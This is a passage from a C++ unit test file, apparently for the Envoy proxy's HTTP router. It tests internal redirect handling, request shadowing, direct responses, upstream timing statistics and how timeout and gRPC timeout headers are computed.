Buffer::OwnedImpl data("1234567890"); response_decoder_->decodeData(data, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, InternalRedirectRejectedWithInvalidLocation) { enableRedirects(); sendRequest(); redirect_headers_->insertLocation().value(std::string("h")); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); Buffer::OwnedImpl data("1234567890"); response_decoder_->decodeData(data, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, InternalRedirectRejectedWithoutCompleteRequest) { enableRedirects(); sendRequest(false); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); Buffer::OwnedImpl data("1234567890"); response_decoder_->decodeData(data, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, InternalRedirectRejectedWithoutLocation) { enableRedirects(); sendRequest(); redirect_headers_->removeLocation(); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); Buffer::OwnedImpl data("1234567890"); response_decoder_->decodeData(data, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, InternalRedirectRejectedWithBody) { enableRedirects(); sendRequest(); EXPECT_CALL(callbacks_, decodingBuffer()).Times(1); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); Buffer::OwnedImpl data("1234567890"); response_decoder_->decodeData(data, true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, InternalRedirectRejectedWithCrossSchemeRedirect) { enableRedirects(); sendRequest(); redirect_headers_->insertLocation().value(std::string("https://www.foo.com")); response_decoder_->decodeHeaders(std::move(redirect_headers_), true); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_failed_total") .value()); } TEST_F(RouterTest, HttpInternalRedirectSucceeded) { enableRedirects(); default_request_headers_.insertForwardedProto().value(std::string("http")); sendRequest(); EXPECT_CALL(callbacks_, decodingBuffer()).Times(1); EXPECT_CALL(callbacks_, recreateStream()).Times(1).WillOnce(Return(true)); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_succeeded_total") .value()); // In production, the HCM recreateStream would have called this. router_.onDestroy(); } TEST_F(RouterTest, HttpsInternalRedirectSucceeded) { Ssl::MockConnection ssl_connection; enableRedirects(); sendRequest(); redirect_headers_->insertLocation().value(std::string("https://www.foo.com")); EXPECT_CALL(connection_, ssl()).Times(1).WillOnce(Return(&ssl_connection)); EXPECT_CALL(callbacks_, decodingBuffer()).Times(1); EXPECT_CALL(callbacks_, recreateStream()).Times(1).WillOnce(Return(true)); response_decoder_->decodeHeaders(std::move(redirect_headers_), false); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("upstream_internal_redirect_succeeded_total") .value()); // In production, the HCM recreateStream would have called this. router_.onDestroy(); } TEST_F(RouterTest, Shadow) { callbacks_.route_->route_entry_.shadow_policy_.cluster_ = "foo"; callbacks_.route_->route_entry_.shadow_policy_.runtime_key_ = "bar"; ON_CALL(callbacks_, streamId()).WillByDefault(Return(43)); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); EXPECT_CALL(runtime_.snapshot_, featureEnabled("bar", 0, 43, 10000)).WillOnce(Return(true)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); Buffer::InstancePtr body_data(new Buffer::OwnedImpl("hello")); EXPECT_CALL(callbacks_, addDecodedData(_, true)); EXPECT_EQ(Http::FilterDataStatus::StopIterationNoBuffer, router_.decodeData(*body_data, false)); Http::TestHeaderMapImpl trailers{{"some", "trailer"}}; EXPECT_CALL(callbacks_, decodingBuffer()) .Times(AtLeast(1)) .WillRepeatedly(Return(body_data.get())); EXPECT_CALL(*shadow_writer_, shadow_("foo", _, std::chrono::milliseconds(10))) .WillOnce(Invoke( [](const std::string&, Http::MessagePtr& request, std::chrono::milliseconds) -> void { EXPECT_NE(nullptr, request->body()); EXPECT_NE(nullptr, request->trailers()); })); router_.decodeTrailers(trailers); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); } TEST_F(RouterTest, AltStatName) { // Also test no upstream timeout here. EXPECT_CALL(callbacks_.route_->route_entry_, timeout()) .WillOnce(Return(std::chrono::milliseconds(0))); EXPECT_CALL(callbacks_.dispatcher_, createTimer_(_)).Times(0); NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-alt-stat-name", "alt_stat"}, {"x-envoy-internal", "true"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putHttpResponseCode(200)); EXPECT_CALL(cm_.conn_pool_.host_->outlier_detector_, putResponseTime(_)); Http::HeaderMapPtr response_headers( new Http::TestHeaderMapImpl{{":status", "200"}, {"x-envoy-upstream-canary", "true"}, {"x-envoy-virtual-cluster", "hello"}}); response_decoder->decodeHeaders(std::move(response_headers), true); EXPECT_TRUE(verifyHostUpstreamStats(1, 0)); EXPECT_EQ(1U, stats_store_.counter("vhost.fake_vhost.vcluster.fake_virtual_cluster.upstream_rq_200") .value()); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("canary.upstream_rq_200") .value()); EXPECT_EQ( 1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_.counter("alt_stat.upstream_rq_200") .value()); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("alt_stat.zone.zone_name.to_az.upstream_rq_200") .value()); EXPECT_EQ(1U, cm_.thread_local_cluster_.cluster_.info_->stats_store_ .counter("alt_stat.zone.zone_name.to_az.upstream_rq_200") .value()); } TEST_F(RouterTest, Redirect) { MockDirectResponseEntry direct_response; EXPECT_CALL(direct_response, newPath(_)).WillOnce(Return("hello")); EXPECT_CALL(direct_response, rewritePathHeader(_, _)); EXPECT_CALL(direct_response, responseCode()).WillOnce(Return(Http::Code::MovedPermanently)); EXPECT_CALL(direct_response, responseBody()).WillOnce(ReturnRef(EMPTY_STRING)); EXPECT_CALL(direct_response, finalizeResponseHeaders(_, _)); EXPECT_CALL(*callbacks_.route_, directResponseEntry()).WillRepeatedly(Return(&direct_response)); Http::TestHeaderMapImpl response_headers{{":status", "301"}, {"location", "hello"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), true)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, RedirectFound) { MockDirectResponseEntry direct_response; EXPECT_CALL(direct_response, newPath(_)).WillOnce(Return("hello")); EXPECT_CALL(direct_response, rewritePathHeader(_, _)); EXPECT_CALL(direct_response, responseCode()).WillOnce(Return(Http::Code::Found)); EXPECT_CALL(direct_response, responseBody()).WillOnce(ReturnRef(EMPTY_STRING)); EXPECT_CALL(direct_response, finalizeResponseHeaders(_, _)); EXPECT_CALL(*callbacks_.route_, directResponseEntry()).WillRepeatedly(Return(&direct_response)); Http::TestHeaderMapImpl response_headers{{":status", "302"}, {"location", "hello"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), true)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); } TEST_F(RouterTest, DirectResponse) { NiceMock<MockDirectResponseEntry> direct_response; EXPECT_CALL(direct_response, responseCode()).WillRepeatedly(Return(Http::Code::OK)); EXPECT_CALL(direct_response, responseBody()).WillRepeatedly(ReturnRef(EMPTY_STRING)); EXPECT_CALL(*callbacks_.route_, directResponseEntry()).WillRepeatedly(Return(&direct_response)); Http::TestHeaderMapImpl response_headers{{":status", "200"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), true)); EXPECT_CALL(span_, injectContext(_)).Times(0); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); EXPECT_EQ(1UL, config_.stats_.rq_direct_response_.value()); } TEST_F(RouterTest, DirectResponseWithBody) { NiceMock<MockDirectResponseEntry> direct_response; EXPECT_CALL(direct_response, responseCode()).WillRepeatedly(Return(Http::Code::OK)); const std::string response_body("static response"); EXPECT_CALL(direct_response, responseBody()).WillRepeatedly(ReturnRef(response_body)); EXPECT_CALL(*callbacks_.route_, directResponseEntry()).WillRepeatedly(Return(&direct_response)); Http::TestHeaderMapImpl response_headers{ {":status", "200"}, {"content-length", "15"}, {"content-type", "text/plain"}}; EXPECT_CALL(callbacks_, encodeHeaders_(HeaderMapEqualRef(&response_headers), false)); EXPECT_CALL(callbacks_, encodeData(_, true)); Http::TestHeaderMapImpl headers; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, true); EXPECT_TRUE(verifyHostUpstreamStats(0, 0)); EXPECT_EQ(1UL, config_.stats_.rq_direct_response_.value()); } // Verify that upstream timing information is set into the StreamInfo after the upstream // request completes. TEST_F(RouterTest, UpstreamTimingSingleRequest) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); StreamInfo::StreamInfoImpl stream_info(test_time_.timeSystem()); ON_CALL(callbacks_, streamInfo()).WillByDefault(ReturnRef(stream_info)); EXPECT_FALSE(stream_info.firstUpstreamTxByteSent().has_value()); EXPECT_FALSE(stream_info.lastUpstreamTxByteSent().has_value()); EXPECT_FALSE(stream_info.firstUpstreamRxByteReceived().has_value()); EXPECT_FALSE(stream_info.lastUpstreamRxByteReceived().has_value()); Http::TestHeaderMapImpl headers{}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); test_time_.sleep(std::chrono::milliseconds(32)); Buffer::OwnedImpl data; router_.decodeData(data, true); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "503"}}); response_decoder->decodeHeaders(std::move(response_headers), false); test_time_.sleep(std::chrono::milliseconds(43)); // Confirm we still have no upstream timing data. It won't be set until after the // stream has ended. EXPECT_FALSE(stream_info.firstUpstreamTxByteSent().has_value()); EXPECT_FALSE(stream_info.lastUpstreamTxByteSent().has_value()); EXPECT_FALSE(stream_info.firstUpstreamRxByteReceived().has_value()); EXPECT_FALSE(stream_info.lastUpstreamRxByteReceived().has_value()); response_decoder->decodeData(data, true); // Now these should be set. EXPECT_TRUE(stream_info.firstUpstreamTxByteSent().has_value()); EXPECT_TRUE(stream_info.lastUpstreamTxByteSent().has_value()); EXPECT_TRUE(stream_info.firstUpstreamRxByteReceived().has_value()); EXPECT_TRUE(stream_info.lastUpstreamRxByteReceived().has_value()); // Timings should match our sleep() calls. EXPECT_EQ(stream_info.lastUpstreamRxByteReceived().value() - stream_info.firstUpstreamRxByteReceived().value(), std::chrono::milliseconds(43)); EXPECT_EQ(stream_info.lastUpstreamTxByteSent().value() - stream_info.firstUpstreamTxByteSent().value(), std::chrono::milliseconds(32)); } // Verify that upstream timing information is set into the StreamInfo when a // retry occurs (and not before). TEST_F(RouterTest, UpstreamTimingRetry) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); expectResponseTimerCreate(); StreamInfo::StreamInfoImpl stream_info(test_time_); ON_CALL(callbacks_, streamInfo()).WillByDefault(ReturnRef(stream_info)); // Check that upstream timing is updated after the first request. Http::TestHeaderMapImpl headers{{"x-envoy-retry-on", "5xx"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); router_.retry_state_->expectHeadersRetry(); test_time_.sleep(std::chrono::milliseconds(32)); Buffer::OwnedImpl data; router_.decodeData(data, true); test_time_.sleep(std::chrono::milliseconds(43)); EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); // Check that upstream timing is not set when a retry will occur. Http::HeaderMapPtr bad_response_headers(new Http::TestHeaderMapImpl{{":status", "503"}}); response_decoder->decodeHeaders(std::move(bad_response_headers), true); EXPECT_FALSE(stream_info.firstUpstreamTxByteSent().has_value()); EXPECT_FALSE(stream_info.lastUpstreamTxByteSent().has_value()); EXPECT_FALSE(stream_info.firstUpstreamRxByteReceived().has_value()); EXPECT_FALSE(stream_info.lastUpstreamRxByteReceived().has_value()); router_.retry_state_->callback_(); EXPECT_CALL(*router_.retry_state_, shouldRetryHeaders(_, _)).WillOnce(Return(RetryStatus::No)); MonotonicTime retry_time = test_time_.monotonicTime(); Http::HeaderMapPtr good_response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); response_decoder->decodeHeaders(std::move(good_response_headers), false); test_time_.sleep(std::chrono::milliseconds(153)); response_decoder->decodeData(data, true); EXPECT_TRUE(stream_info.firstUpstreamTxByteSent().has_value()); EXPECT_TRUE(stream_info.lastUpstreamTxByteSent().has_value()); EXPECT_TRUE(stream_info.firstUpstreamRxByteReceived().has_value()); EXPECT_TRUE(stream_info.lastUpstreamRxByteReceived().has_value()); EXPECT_EQ(stream_info.lastUpstreamRxByteReceived().value() - stream_info.firstUpstreamRxByteReceived().value(), std::chrono::milliseconds(153)); // Time spent in upstream tx is 0 because we're using simulated time and // don't have a good way to insert a "sleep" there, but values being present // and equal to the time the retry was sent is good enough of a test. EXPECT_EQ(stream_info.lastUpstreamTxByteSent().value() - stream_info.firstUpstreamTxByteSent().value(), std::chrono::milliseconds(0)); EXPECT_EQ(stream_info.lastUpstreamTxByteSent().value() + stream_info.startTimeMonotonic().time_since_epoch(), retry_time.time_since_epoch()); EXPECT_EQ(stream_info.firstUpstreamTxByteSent().value() + stream_info.startTimeMonotonic().time_since_epoch(), retry_time.time_since_epoch()); } // Verify that upstream timing information is set into the StreamInfo when a // global timeout occurs. TEST_F(RouterTest, UpstreamTimingTimeout) { NiceMock<Http::MockStreamEncoder> encoder; Http::StreamDecoder* response_decoder = nullptr; EXPECT_CALL(cm_.conn_pool_, newStream(_, _)) .WillOnce(Invoke([&](Http::StreamDecoder& decoder, Http::ConnectionPool::Callbacks& callbacks) -> Http::ConnectionPool::Cancellable* { response_decoder = &decoder; callbacks.onPoolReady(encoder, cm_.conn_pool_.host_); return nullptr; })); StreamInfo::StreamInfoImpl stream_info(test_time_); ON_CALL(callbacks_, streamInfo()).WillByDefault(ReturnRef(stream_info)); expectResponseTimerCreate(); test_time_.sleep(std::chrono::milliseconds(10)); // Check that upstream timing is updated after the first request. Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "50"}}; HttpTestUtility::addDefaultHeaders(headers); router_.decodeHeaders(headers, false); EXPECT_FALSE(stream_info.lastUpstreamRxByteReceived().has_value()); test_time_.sleep(std::chrono::milliseconds(13)); Buffer::OwnedImpl data; router_.decodeData(data, true); test_time_.sleep(std::chrono::milliseconds(33)); Http::HeaderMapPtr response_headers(new Http::TestHeaderMapImpl{{":status", "200"}}); response_decoder->decodeHeaders(std::move(response_headers), false); test_time_.sleep(std::chrono::milliseconds(99)); response_timeout_->callback_(); EXPECT_TRUE(stream_info.firstUpstreamTxByteSent().has_value()); EXPECT_TRUE(stream_info.lastUpstreamTxByteSent().has_value()); EXPECT_TRUE(stream_info.firstUpstreamRxByteReceived().has_value()); EXPECT_FALSE(stream_info.lastUpstreamRxByteReceived() .has_value()); // False because no end_stream was seen. EXPECT_EQ(stream_info.firstUpstreamTxByteSent().value(), std::chrono::milliseconds(10)); EXPECT_EQ(stream_info.lastUpstreamTxByteSent().value(), std::chrono::milliseconds(23)); EXPECT_EQ(stream_info.firstUpstreamRxByteReceived().value(), std::chrono::milliseconds(56)); } TEST(RouterFilterUtilityTest, FinalTimeout) { { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(10), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_EQ("15", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "bad"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(10), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_EQ("10", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "15"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("15", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "15"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(5), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("5", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; route.retry_policy_.per_try_timeout_ = std::chrono::milliseconds(7); EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(7), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("7", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; route.retry_policy_.per_try_timeout_ = std::chrono::milliseconds(7); EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"x-envoy-upstream-rq-timeout-ms", "15"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, false); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(5), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("5", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(0), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()).WillRepeatedly(Return(absl::nullopt)); EXPECT_CALL(route, timeout()).WillOnce(Return(std::chrono::milliseconds(10))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(10), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(1000), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_EQ("1000m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(999))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(999), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_EQ("999m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(999))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "0m"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(999), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_EQ("999m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}, {"x-envoy-upstream-rq-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_EQ("15", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_EQ("15m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}, {"x-envoy-upstream-rq-timeout-ms", "bad"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(1000), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_EQ("1000", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_EQ("1000m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}, {"x-envoy-upstream-rq-timeout-ms", "15"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(0), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("15", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_EQ("15m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}, {"x-envoy-upstream-rq-timeout-ms", "15"}, {"x-envoy-upstream-rq-per-try-timeout-ms", "5"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(5), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("5", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_EQ("5m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); route.retry_policy_.per_try_timeout_ = std::chrono::milliseconds(7); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}, {"x-envoy-upstream-rq-timeout-ms", "15"}}; FilterUtility::TimeoutData timeout = FilterUtility::finalTimeout(route, headers, true, true); EXPECT_EQ(std::chrono::milliseconds(15), timeout.global_timeout_); EXPECT_EQ(std::chrono::milliseconds(7), timeout.per_try_timeout_); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-timeout-ms")); EXPECT_FALSE(headers.has("x-envoy-upstream-rq-per-try-timeout-ms")); EXPECT_EQ("7", headers.get_("x-envoy-expected-rq-timeout-ms")); EXPECT_EQ("7m", headers.get_("grpc-timeout")); } { NiceMock<MockRouteEntry> route; EXPECT_CALL(route, maxGrpcTimeout()) .WillRepeatedly(Return(absl::optional<std::chrono::milliseconds>(0))); route.retry_policy_.per_try_timeout_ = std::chrono::milliseconds(7); Http::TestHeaderMapImpl headers{{"content-type", "application/grpc"}, {"grpc-timeout", "1000m"}, 